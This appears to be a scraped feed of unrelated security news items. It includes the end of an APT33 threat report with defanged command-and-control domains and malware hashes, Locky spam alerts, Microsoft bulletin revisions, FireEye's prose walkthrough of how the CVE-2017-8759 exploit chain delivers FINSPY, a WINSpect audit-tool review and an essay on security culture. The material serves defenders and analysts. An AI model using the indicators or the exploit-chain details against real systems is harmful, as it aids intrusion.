Dropper that has been observed dropping and launching the TURNEDUP backdoor, as well as the SHAPESHIFT wiper malware

Non-Public

NANOCORE

Publicly available remote access Trojan (RAT) available for purchase. It is a full-featured backdoor with a plugin framework

Public

NETWIRE

Backdoor that attempts to steal credentials from the local machine from a variety of sources and supports other standard backdoor features.

Public

TURNEDUP

Backdoor capable of uploading and downloading files, creating a reverse shell, taking screenshots, and gathering system information

Non-Public

Indicators of Compromise

APT33 Domains Likely Used in Initial Targeting

Domain

boeing.servehttp[.]com

alsalam.ddns[.]net

ngaaksa.ddns[.]net

ngaaksa.sytes[.]net

vinnellarabia.myftp[.]org

APT33 Domains / IPs Used for C2

C2 Domain

MALWARE

managehelpdesk[.]com

NANOCORE

microsoftupdated[.]com

NANOCORE

osupd[.]com

NANOCORE

mywinnetwork.ddns[.]net

NETWIRE

www.chromup[.]com

TURNEDUP

www.securityupdated[.]com

TURNEDUP

googlmail[.]net

TURNEDUP

microsoftupdated[.]net

TURNEDUP

syn.broadcaster[.]rocks

TURNEDUP

www.googlmail[.]net

TURNEDUP

Publicly Available Tools used by APT33

MD5

MALWARE

Compile Time (UTC)

3f5329cf2a829f8840ba6a903f17a1bf

NANOCORE

2017/1/11 2:20

10f58774cd52f71cd4438547c39b1aa7

NANOCORE

2016/3/9 23:48

663c18cfcedd90a3c91a09478f1e91bc

NETWIRE

2016/6/29 13:44

6f1d5c57b3b415edc3767b079999dd50

NETWIRE

2016/5/29 14:11

Unattributed DROPSHOT / SHAPESHIFT MD5 Hashes

MD5

MALWARE

Compile Time (UTC)

0ccc9ec82f1d44c243329014b82d3125

DROPSHOT

(drops SHAPESHIFT

n/a - timestomped

fb21f3cea1aa051ba2a45e75d46b98b8

DROPSHOT

n/a - timestomped

3e8a4d654d5baa99f8913d8e2bd8a184

SHAPESHIFT

2016/11/14 21:16:40

6b41980aa6966dda6c3f68aeeb9ae2e0

SHAPESHIFT

2016/11/14 21:16:40

APT33 Malware MD5 Hashes

MD5

MALWARE

Compile Time (UTC)

8e67f4c98754a2373a49eaf53425d79a

DROPSHOT (drops TURNEDUP)

2016/10/19 14:26

c57c5529d91cffef3ec8dadf61c5ffb2

TURNEDUP

2014/6/1 11:01

c02689449a4ce73ec79a52595ab590f6

TURNEDUP

2016/9/18 10:50

59d0d27360c9534d55596891049eb3ef

TURNEDUP

2016/3/8 12:34

59d0d27360c9534d55596891049eb3ef

TURNEDUP

2016/3/8 12:34

797bc06d3e0f5891591b68885d99b4e1

TURNEDUP

2015/3/12 5:59

8e6d5ef3f6912a7c49f8eb6a71e18ee2

TURNEDUP

2015/3/12 5:59

32a9a9aa9a81be6186937b99e04ad4be

TURNEDUP

2015/3/12 5:59

a272326cb5f0b73eb9a42c9e629a0fd8

TURNEDUP

2015/3/9 16:56

a813dd6b81db331f10efaf1173f1da5d

TURNEDUP

2015/3/9 16:56

de9e3b4124292b4fba0c5284155fa317

TURNEDUP

2015/3/9 16:56

a272326cb5f0b73eb9a42c9e629a0fd8

TURNEDUP

2015/3/9 16:56

b3d73364995815d78f6d66101e718837

TURNEDUP

2014/6/1 11:01

de7a44518d67b13cda535474ffedf36b

TURNEDUP

2014/6/1 11:01

b5f69841bf4e0e96a99aa811b52d0e90

TURNEDUP

2014/6/1 11:01

a2af2e6bbb6551ddf09f0a7204b5952e

TURNEDUP

2014/6/1 11:01

b189b21aafd206625e6c4e4a42c8ba76

TURNEDUP

2014/6/1 11:01

aa63b16b6bf326dd3b4e82ffad4c1338

TURNEDUP

2014/6/1 11:01

c55b002ae9db4dbb2992f7ef0fbc86cb

TURNEDUP

2014/6/1 11:01

c2d472bdb8b98ed83cc8ded68a79c425

TURNEDUP

2014/6/1 11:01

c6f2f502ad268248d6c0087a2538cad0

TURNEDUP

2014/6/1 11:01

c66422d3a9ebe5f323d29a7be76bc57a

TURNEDUP

2014/6/1 11:01

ae47d53fe8ced620e9969cea58e87d9a

TURNEDUP

2014/6/1 11:01

b12faab84e2140dfa5852411c91a3474

TURNEDUP

2014/6/1 11:01

c2fbb3ac76b0839e0a744ad8bdddba0e

TURNEDUP

2014/6/1 11:01

a80c7ce33769ada7b4d56733d02afbe5

TURNEDUP

2014/6/1 11:01

6a0f07e322d3b7bc88e2468f9e4b861b

TURNEDUP

2014/6/1 11:01

b681aa600be5e3ca550d4ff4c884dc3d

TURNEDUP

2014/6/1 11:01

ae870c46f3b8f44e576ffa1528c3ea37

TURNEDUP

2014/6/1 11:01

bbdd6bb2e8827e64cd1a440e05c0d537

TURNEDUP

2014/6/1 11:01

0753857710dcf96b950e07df9cdf7911

TURNEDUP

2013/4/10 10:43

d01781f1246fd1b64e09170bd6600fe1

TURNEDUP

2013/4/10 10:43

1381148d543c0de493b13ba8ca17c14f

TURNEDUP

2013/4/10 10:43

5 Ways to Secure Wi-Fi Networks

Wi-Fi is one entry-point hackers can use to get into your network without setting foot inside your building because wireless is much more open to eavesdroppers than wired networks, which means you have to be more diligent about security.

But there’s a lot more to Wi-Fi security than just setting a simple password. Investing time in learning about and applying enhanced security measures can go a long way toward better protecting your network. Here are six tips to betters secure your Wi-Fi network.

Use an inconspicuous network name (SSID)

The service set identifier (SSID) is one of the most basic Wi-Fi network settings. Though it doesn’t seem like the network name could compromise security, it certainly can. Using a too common of a SSID, like “wireless” or the vendor’s default name, can make it easier for someone to crack the personal mode of WPA or WPA2 security. This is because the encryption algorithm incorporates the SSID, and password cracking dictionaries used by hackers are preloaded with common and default SSIDs. Using one of those just makes the hacker’s job easier.

To read this article in full, please click here

Malware spam: "Status of invoice" with .7z attachment

This spam leads to Locky ransomware: Subject:       Status of invoice From:       "Rosella Setter" ordering@[redacted] Date:       Mon, September 18, 2017 9:30 am Hello, Could you please let me know the status of the attached invoice? I appreciate your help! Best regards, Rosella Setter Tel: 206-575-8068 x 100 Fax: 206-575-8094 *NEW*   Ordering@[redacted].com * Kindly note we will be

VirusTotal += Avast Mobile Security

We welcome the Avast Mobile Security scanner to VirusTotal. This engine is specialized in Android and reinforces the participation of Avast that already had a multi-platform scanner in our service. In the words of the company:

"Avast Mobile Security is a complete security solution capable of identifying potentially unwanted (PUP) and malicious apps (TRJ). The app protects millions of endpoints on a daily basis using a wide range of cloud and on-device-based detection capabilities. Our hybrid mix of technology, which includes static and dynamic (behavioral) analysis in conjunction with the latest machine learning algorithms allow us to provide state of the art malware protection.

Avast has expressed its commitment to follow the recommendations of AMTSO and, in compliance with our policy, facilitates this review by AV-TEST, an AMTSO-member tester.

MS16-AUG – Microsoft Security Bulletin Summary for August 2016 – Version: 3.0

Revision Note: V3.0 (September 12, 2017): For MS16-095, revised the Windows Operating System and Components Affected Software table to include Internet Explorer 11 installed on Windows 10 Version 1703 for 32-bit Systems and Internet Explorer 11 installed on Windows 10 Version 1703 for x64-based Systems because they are affected by CVE-2016-3326. Microsoft recommends that customers running Internet Explorer on Windows 10 Version 1703 install update 4038788 to be protected from this vulnerability.
Summary: This bulletin summary lists security bulletins released for August 2016.

MS16-APR – Microsoft Security Bulletin Summary for April 2016 – Version: 4.0

Revision Note: V4.0 (September 12, 2017): For MS16-039, revised the Windows Operating Systems and Components affected software table to include Windows 10 Version 1703 for 32-bit Systems and Windows 10 Version 1703 for x64-based Systems because they are affected by CVE-2016-0165. Consumers running Windows 10 are automatically protected. Microsoft recommends that enterprise customers running Windows 10 Version 1703 ensure they have update 4038788 installed to be protected from this vulnerability.
Summary: This bulletin summary lists security bulletins released for April 2016.

MS16-JUL – Microsoft Security Bulletin Summary for July 2016 – Version: 2.0

Revision Note: V2.0 (September 12, 2017): For MS16-087, to address known issues with the 3170455 update for CVE-2016-3238, Microsoft has made available the following updates for currently-supported versions of Microsoft Windows: • Rereleased update 3170455 for Windows Server 2008 • Monthly Rollup 4038777 and Security Update 4038779 for Windows 7 and Windows Server 2008 R2 • Monthly Rollup 4038799 and Security Update 4038786 for Windows Server 2012 • Monthly Rollup 4038792 and Security Update 4038793 for Windows 8.1 and Windows Server 2012 R2 • Cumulative Update 4038781 for Windows 10 • Cumulative Update 4038781 for Windows 10 Version 1511 • Cumulative Update 4038782 for Windows 10 Version 1607 and Windows Server 2016. Microsoft recommends that customers running Windows Server 2008 reinstall update 3170455. Microsoft recommends that customers running other supported versions of Windows install the appropriate update. See Microsoft Knowledge Base Article 3170005 (https://support.microsoft.com/en-us/help/3170005) for more information.
Summary: This bulletin summary lists security bulletins released for July 2016.

MS16-OCT – Microsoft Security Bulletin Summary for October 2016 – Version: 3.0

Revision Note: V3.0 (September 12, 2017): For MS16-123, revised the Windows Operating System and Components affected software table to include Windows 10 Version 1703 for 32-bit Systems and Windows 10 Version 1703 for x64-based Systems because they are affected by CVE-2016-3376. Consumers using Windows 10 are automatically protected. Microsoft recommends that enterprise customers running Windows 10 Version 1703 ensure they have update 4038788 installed to be protected from this vulnerability.
Summary: This bulletin summary lists security bulletins released for October 2016.

FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY

FireEye recently detected a malicious Microsoft Office RTF document that leveraged CVE-2017-8759, a SOAP WSDL parser code injection vulnerability. This vulnerability allows a malicious actor to inject arbitrary code during the parsing of SOAP WSDL definition contents. FireEye analyzed a Microsoft Word document where attackers used the arbitrary code injection to download and execute a Visual Basic script that contained PowerShell commands.

FireEye shared the details of the vulnerability with Microsoft and has been coordinating public disclosure timed with the release of a patch to address the vulnerability and security guidance, which can be found here.

FireEye email, endpoint and network products detected the malicious documents.

Vulnerability Used to Target Russian Speakers

The malicious document, “Проект.doc” (MD5: fe5c4d6bb78e170abf5cf3741868ea4c), might have been used to target a Russian speaker. Upon successful exploitation of CVE-2017-8759, the document downloads multiple components (details follow), and eventually launches a FINSPY payload (MD5: a7b990d5f57b244dd17e9a937a41e7f5).

FINSPY malware, also reported as FinFisher or WingBird, is available for purchase as part of a “lawful intercept” capability. Based on this and previous use of FINSPY, we assess with moderate confidence that this malicious document was used by a nation-state to target a Russian-speaking entity for cyber espionage purposes. Additional detections by FireEye’s Dynamic Threat Intelligence system indicates that related activity, though potentially for a different client, might have occurred as early as July 2017.

CVE-2017-8759 WSDL Parser Code Injection

A code injection vulnerability exists in the WSDL parser module within the PrintClientProxy method (http://referencesource.microsoft.com/ - System.Runtime.Remoting/metadata/wsdlparser.cs,6111). The IsValidUrl does not perform correct validation if provided data that contains a CRLF sequence. This allows an attacker to inject and execute arbitrary code. A portion of the vulnerable code is shown in Figure 1.


Figure 1: Vulnerable WSDL Parser

When multiple address definitions are provided in a SOAP response, the code inserts the “//base.ConfigureProxy(this.GetType(),” string after the first address, commenting out the remaining addresses. However, if a CRLF sequence is in the additional addresses, the code following the CRLF will not be commented out. Figure 2 shows that due to lack validation of CRLF, a System.Diagnostics.Process.Start method call is injected. The generated code will be compiled by csc.exe of .NET framework, and loaded by the Office executables as a DLL.


Figure 2: SOAP definition VS Generated code

The In-the-Wild Attacks

The attacks that FireEye observed in the wild leveraged a Rich Text Format (RTF) document, similar to the CVE-2017-0199 documents we previously reported on. The malicious sampled contained an embedded SOAP monikers to facilitate exploitation (Figure 3).


Figure 3: SOAP Moniker

The payload retrieves the malicious SOAP WSDL definition from an attacker-controlled server. The WSDL parser, implemented in System.Runtime.Remoting.ni.dll of .NET framework, parses the content and generates a .cs source code at the working directory. The csc.exe of .NET framework then compiles the generated source code into a library, namely http[url path].dll. Microsoft Office then loads the library, completing the exploitation stage.  Figure 4 shows an example library loaded as a result of exploitation.


Figure 4: DLL loaded

Upon successful exploitation, the injected code creates a new process and leverages mshta.exe to retrieve a HTA script named “word.db” from the same server. The HTA script removes the source code, compiled DLL and the PDB files from disk and then downloads and executes the FINSPY malware named “left.jpg,” which in spite of the .jpg extension and “image/jpeg” content-type, is actually an executable. Figure 5 shows the details of the PCAP of this malware transfer.


Figure 5: Live requests

The malware will be placed at %appdata%\Microsoft\Windows\OfficeUpdte-KB[ 6 random numbers ].exe. Figure 6 shows the process create chain under Process Monitor.


Figure 6: Process Created Chain

The Malware

The “left.jpg” (md5: a7b990d5f57b244dd17e9a937a41e7f5) is a variant of FINSPY. It leverages heavily obfuscated code that employs a built-in virtual machine – among other anti-analysis techniques – to make reversing more difficult. As likely another unique anti-analysis technique, it parses its own full path and searches for the string representation of its own MD5 hash. Many resources, such as analysis tools and sandboxes, rename files/samples to their MD5 hash in order to ensure unique filenames. This variant runs with a mutex of "WininetStartupMutex0".

Conclusion

CVE-2017-8759 is the second zero-day vulnerability used to distribute FINSPY uncovered by FireEye in 2017. These exposures demonstrate the significant resources available to “lawful intercept” companies and their customers. Furthermore, FINSPY has been sold to multiple clients, suggesting the vulnerability was being used against other targets.

It is possible that CVE-2017-8759 was being used by additional actors. While we have not found evidence of this, the zero day being used to distribute FINSPY in April 2017, CVE-2017-0199 was simultaneously being used by a financially motivated actor. If the actors behind FINSPY obtained this vulnerability from the same source used previously, it is possible that source sold it to additional actors.

Acknowledgement

Thank you to Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team and FireEye iSIGHT Intelligence for their contributions to this blog. We also thank everyone from the Microsoft Security Response Center (MSRC) who worked with us on this issue.

MS16-039 – Critical: Security Update for Microsoft Graphics Component (3148522) – Version: 4.0

Severity Rating: Critical
Revision Note: V4.0 (September 12, 2017): Revised the Microsoft Windows affected software table to include Windows 10 Version 1703 for 32-bit Systems and Windows 10 Version 1703 for x64-based Systems because they are affected by CVE-2016-0165. Consumers running Windows 10 are automatically protected. Microsoft recommends that enterprise customers running Windows 10 Version 1703 ensure they have update 4038788 installed to be protected from this vulnerability.
Summary: This security update resolves vulnerabilities in Microsoft Windows, Microsoft .NET Framework, Microsoft Office, Skype for Business, and Microsoft Lync. The most severe of the vulnerabilities could allow remote code execution if a user opens a specially crafted document or visits a webpage that contains specially crafted embedded fonts.

MS16-095 – Critical: Cumulative Security Update for Internet Explorer (3177356) – Version: 3.0

Severity Rating: Critical
Revision Note: V3.0 (September 12, 2017): Revised the Affected Software table to include Internet Explorer 11 installed on Windows 10 Version 1703 for 32-bit Systems and Internet Explorer 11 installed on Windows 10 Version 1703 for x64-based Systems because they are affected by CVE-2016-3326. Consumers using Windows 10 are automatically protected. Microsoft recommends that enterprise customers running Internet Explorer on Windows 10 Version 1703 ensure they have update 4038788 installed to be protected from this vulnerability. Customers who are running other versions of Windows 10 and who have installed the June cumulative updates do not need to take any further action.
Summary: This security update resolves vulnerabilities in Internet Explorer. The most severe of the vulnerabilities could allow remote code execution if a user views a specially crafted webpage using Internet Explorer. An attacker who successfully exploited the vulnerabilities could gain the same user rights as the current user. If the current user is logged on with administrative user rights, an attacker could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.

MS16-123 – Important: Security Update for Windows Kernel-Mode Drivers (3192892) – Version: 3.0

Severity Rating: Important
Revision Note: V3.0 (September 12, 2017): Revised the Affected Software table to include Windows 10 Version 1703 for 32-bit Systems and Windows 10 Version 1703 for x64-based Systems because they are affected by CVE-2016-3376. Consumers using Windows 10 are automatically protected. Microsoft recommends that enterprise customers running Windows 10 Version 1703 ensure they have update 4038788 installed to be protected from this vulnerability.
Summary: This security update resolves vulnerabilities in Microsoft Windows. The more severe of the vulnerabilities could allow elevation of privilege if an attacker logs on to an affected system and runs a specially crafted application that could exploit the vulnerabilities and take control of an affected system.

MS16-087 – Critical: Security Update for Windows Print Spooler Components (3170005) – Version: 2.0

Severity Rating: Critical
Revision Note: V2.0 (September 12, 2017): To address known issues with the 3170455 update for CVE-2016-3238, Microsoft has made available the following updates for currently-supported versions of Microsoft Windows: • Rereleased update 3170455 for Windows Server 2008 • Monthly Rollup 4038777 and Security Update 4038779 for Windows 7 and Windows Server 2008 R2 • Monthly Rollup 4038799 and Security Update 4038786 for Windows Server 2012 • Monthly Rollup 4038792 and Security Update 4038793 for Windows 8.1 and Windows Server 2012 R2 • Cumulative Update 4038781 for Windows 10 • Cumulative Update 4038781 for Windows 10 Version 1511 • Cumulative Update 4038782 for Windows 10 Version 1607 and Windows Server 2016. Microsoft recommends that customers running Windows Server 2008 reinstall update 3170455. Microsoft recommends that customers running other supported versions of Windows install the appropriate update. See Microsoft Knowledge Base Article 3170005 (https://support.microsoft.com/en-us/help/3170005) for more information.
Summary: This security update resolves vulnerabilities in Microsoft Windows. The more severe of the vulnerabilities could allow remote code execution if an attacker is able to execute a man-in-the-middle (MiTM) attack on a workstation or print server, or sets up a rogue print server on a target network.

Toolsmith Tidbit: Windows Auditing with WINspect

WINSpect recently hit the toolsmith radar screen via Twitter, and the author, Amine Mehdaoui, just posted an update a couple of days ago, so no time like the present to give you a walk-through. WINSpect is a Powershell-based Windows Security Auditing Toolbox. According to Amine's GitHub README, WINSpect "is part of a larger project for auditing different areas of Windows environments. It focuses on enumerating different parts of a Windows machine aiming to identify security weaknesses and point to components that need further hardening. The main targets for the current version are domain-joined windows machines. However, some of the functions still apply for standalone workstations."
The current script feature set includes audit checks and enumeration for:

  • Installed security products
  • World-exposed local filesystem shares
  • Domain users and groups with local group membership
  • Registry autoruns
  • Local services that are configurable by Authenticated Users group members
  • Local services for which corresponding binary is writable by Authenticated Users group members
  • Non-system32 Windows Hosted Services and their associated DLLs
  • Local services with unquoted path vulnerability
  • Non-system scheduled tasks
  • DLL hijackability
  • User Account Control settings
  • Unattended installs leftovers
I can see this useful PowerShell script coming in quite handy for assessment using the CIS Top 20 Security Controls. I ran it on my domain-joined Windows 10 Surface Book via a privileged PowerShell and liked the results.


The script confirms that it's running with admin rights, checks PowerShell version, then inspects Windows Firewall settings. Looking good on the firewall, and WINSpect tees right off on my Window Defender instance and its configuration as well.
Not sharing a screenshot of my shares or admin users, sorry, but you'll find them enumerated when you run WINSpect.


 WINSpect then confirmed that UAC was enabled, and that it should notify me only apps try to make changes, then checked my registry for autoruns; no worries on either front, all confirmed as expected.


WINSpect wrapped up with a quick check of configurable services, SMSvcHost is normal as part of .NET, even if I don't like it, but the flowExportService doesn't need to be there at all, I removed that a while ago after being really annoyed with it during testing. No user hosted services, and DLL Safe Search is enable...bonus. Finally, no unattended install leftovers, and all the scheduled tasks are normal for my system. Sweet, pretty good overall, thanks WINSpect. :-)

Give it a try for yourself, and keep an eye out for updates. Amine indicates that Local Security Policy controls, administrative shares configs, loaded DLLs, established/listening connections, and exposed GPO scripts on the to-do list. 
Cheers...until next time.

Quit Talking About "Security Culture" – Fix Org Culture!

I have a pet peeve. Ok, I have several, but nonetheless, we're going to talk about one of them today. That pet peeve is security professionals wasting time and energy pushing a "security culture" agenda. This practice of talking about "security culture" has arisen over the past few years. It's largely coming from security awareness circles, though it's not always the case (looking at you anti-phishing vendors intent on selling products without the means and methodology to make them truly useful!).

I see three main problems with references to "security culture," not the least of which being that it continues the bad old practices of days gone by.

1) It's Not Analogous to Safety Culture

First and foremost, you're probably sitting there grinding your teeth saying "But safety culture initiatives work really well!" Yes, they do, but here's why: Safety culture can - and often does - achieve a zero-sum outcome. That is to say, you can reduce safety incidents to ZERO. This factoid is excellent for when you're around construction sites or going to the hospital. However, I have very bad news for you. Information (or cyber or computer) security will never be a zero-sum game. Until the entirety of computing is revolutionized, removing humans from the equation, you will never prevent all incidents. Just imagine your "security culture" sign by the entrance to your local office environment, forever emblazoned with "It Has Been 0 Days Since Our Last Incident." That's not healthy or encouraging. That sort of thing would be outright demoralizing!

Since you can't be 100% successful through preventative security practices, you must then shift mindset to a couple things: better decisions and resilience. Your focus, which most of your "security culture" programs are trying to address (or should be), is helping people make better decisions. Well, I should say, some of you - the few, the proud, the quietly isolated - have this focus. But at the end of the day/week/month/year you'll find that people - including well-trained and highly technical people - will still make mistakes or bad decisions, which means you can't bank on "solving" infosec through better decisions.

As a result, we must still architect for resiliency. We must assume something will breakdown at some point resulting in an incident. When that incident occurs, we must be able to absorb the fault, continue to operate despite degraded conditions, while recovering to "normal" as quickly, efficiently, and effectively as possible. Note, however, that this focus on resiliency doesn't really align well with the "security culture" message. It's akin to telling people "Safety is really important, but since we have no faith in your ability to be safe, here's a first aid kit." (yes, that's a bit harsh, to prove a point, which hopefully you're getting)

2) Once Again, It Creates an "Other"

One of the biggest problems with a typical "security culture" focus is that it once again creates the wrong kind of enablement culture. It says "we're from infosec and we know best - certainly better than you." Why should people work to make better decisions when they can just abdicate that responsibility to infosec? Moreover, since we're trying to optimize resiliency, people can go ahead and make mistakes, no big deal, right?

Part of this is ok, part of it is not. On the one hand, from a DevOps perspective, we want people to experiment, be creative, be innovative. In this sense, resilience and failure are a good thing. However, note that in DevOps, the responsibility for "fail fast, recover fast, learn fast" is on the person doing the experimenting!!! The DevOps movement is diametrically opposed to fostering enablement cultures where people (like developers) don't feel the pain from their bad decisions. It's imperative that people have ownership and responsibility for the things they're doing. Most "security culture" dogma I've seen and heard works against this objective.

We want enablement, but we don't want enablement culture. We want "freedom AND responsibility," "accountability AND transparency," etc, etc, etc. Pushing "security culture" keeps these initiatives separate from other organizational development initiatives, and more importantly it tends to have at best a temporary impact, rather than triggering lasting behavioral change.

3) Your Goal Is Improving the Organization

The last point here is that your goal should be to improve the organization and the overall organizational culture. It should not be focused on point-in-time blips that come and go. Additionally, your efforts must be aimed toward lasting impact and not be anchored around a cult of personality.

As a starting point, you should be working with org dev personnel within your organization, applying behavior design principles. You should be identifying what the target behavior is, then working backward in a piecemeal fashion to determine whether that behavior can be evoked and institutionalized through one step or multiple steps. It may even take years to accomplish the desired changes.

Another key reason for working with your org dev folks is because you need to ensure that anything "culture" that you're pursuing is fully aligned with other org culture initiatives. People can only assimilate so many changes at once, so it's often better to align your work with efforts that are already underway in order to build reinforcing patterns. The worst thing you can do is design for a behavior that is in conflict with other behavior and culture designs underway.

All of this is to underline the key point that "security culture" is the wrong focus, and can in some cases even detract from other org culture initiatives. You want to improve decision-making, but you have to do this one behavior at a time, and glossing over it with the "security culture" label is unhelpful.

Lastly, you need to think about your desired behavior and culture improvements in the broader context of organizational culture. Do yourself a favor and go read Laloux's Reinventing Organizations for an excellent treatise on a desirable future state (one that aligns extremely well with DevOps). As you read Laloux, think about how you can design for security behaviors in a self-managed world. That's the lens through which you should view things, and this is where you'll realize a "security culture" focus is at best distracting.

---
So... where should you go from here? The answer is three-fold:
1) Identify and design for desirable behaviors
2) Work to make those behaviors easy and sustainable
3) Work to shape organizational culture as a whole

Definitionally, here are a couple starters for you...

First, per Fogg, Behavior happens when three things come together: Motivation, Ability (how hard or easy it is to do the action), and a Trigger (a prompt or cue). When Motivation is high and it's easy to do, then it doesn't take much prompting to trigger an action. However, if it's difficult to take the action, or the motivation simply isn't there, you must then start looking for ways to address those factors in order to achieve the desired behavioral outcome once triggered. This is the basis of behavior design.

Second, when you think about culture, think of it as the aggregate of behaviors collectively performed by the organization, along with the values the organization holds. It may be helpful, as Laloux suggests, to think of the organization as its own person that has intrinsic motivations, values, and behaviors. Eliciting behavior change from the organization is, then, tantamount to changing the organizational culture.

If you put this all together, I think you'll agree with me that talking about "security culture" is anathema to the desired outcomes. Thinking about behavior design in the context of organizational culture shift will provide a better path to improvement, while also making it easier to explain the objectives to non-security people and to get buy-in on lasting change.

Bonus reference: You might find this article interesting as it pertains to evoking behavior change in others.

Good luck!

QTUM Cryptocurrency spam

This spam email appears to be sent by the Necurs botnet, advertising a new Bitcoin-like cryptocurrency called QTUM. Necurs is often used to pump malware, pharma and data spam and sometimes stock pump and dump. There is no guarantee that this is actually being sent by the people running QTUM, it could simply be a Joe Job to disrupt operations. Given some of the wording alluding to illegal

Malware spam: "Scanning" pretending to be from tayloredgroup.co.uk

This spam email pretends to be from tayloredgroup.co.uk but it is just a simple forgery leading to Locky ransomware. There is both a malicious attachment and link in the body text. The name of the sender varies. Subject:       ScanningFrom:       "Jeanette Randels" [Jeanette.Randels@tayloredgroup.co.uk]Date:       Thu, May 18, 2017 8:26 pmhttps://dropbox.com/file/9A30AA-- Jeanette Randels

QOTD – On Learning (New Things)

The further along you are in your career, the easier it is to fall back on the mistaken assumption that you’ve made it and have all the skills you need to succeed. The tendency is to focus all your energy on getting the job done, assuming that the rest will take care of itself. Big mistake.
[...]
The primary takeaway from Dweck’s research is that we should never stop learning. The moment we think that we are who we are is the moment we give away our unrealized potential.
[...]
The act of learning is every bit as important as what you learn. Believing that you can improve yourself and do things in the future that are beyond your current possibilities is exciting and fulfilling.
 -- Dr Travis Bradberry , Coauthor of Emotional Intelligence 2.0 & President at TalentSmart

Src: These are the skills you should learn that will pay off forever | World Economic Forum